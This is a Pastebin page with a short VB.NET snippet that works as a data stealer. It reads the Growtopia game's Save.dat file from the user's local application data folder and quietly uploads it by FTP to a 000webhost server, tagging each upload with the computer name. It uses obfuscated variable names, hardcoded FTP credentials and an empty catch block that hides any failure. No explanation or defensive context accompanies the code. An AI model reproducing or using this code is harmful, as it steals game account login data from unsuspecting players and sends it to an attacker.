Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Control.CheckForIllegalCrossThreadCalls = False
- Result = RandomNumber.Next(1, 999999)
- Dim OQWFOQWJFOQFJQOGTNQONPOQWNFQWOGT20IJG239IJNFGQPOWMqoifrjo23 As String = "\Growtopia\Save.dat"
- Dim OQWFOQWJFOQFJQOGTNQ As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)
- Dim IJG239IJN As String = My.Computer.Name
- Try
- Dim IJNWS As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://files.000webhost.com/SaveDAT/save_" & IJG239IJN & Result & ".dat"), System.Net.FtpWebRequest)
- IJNWS.Credentials = New System.Net.NetworkCredential("", "wefkjwefjwbekj")
- IJNWS.Method = System.Net.WebRequestMethods.Ftp.UploadFile
- Dim w9iejhgih2p() As Byte = System.IO.File.ReadAllBytes(OQWFOQWJFOQFJQOGTNQ & OQWFOQWJFOQFJQOGTNQONPOQWNFQWOGT20IJG239IJNFGQPOWMqoifrjo23)
- Dim S2pj2og As System.IO.Stream = IJNWS.GetRequestStream()
- S2pj2og.Write(w9iejhgih2p, 0, w9iejhgih2p.Length)
- S2pj2og.Close()
- S2pj2og.Dispose()
- Catch ex As Exception
- End Try
Advertisement
Add Comment
Please, Sign In to add comment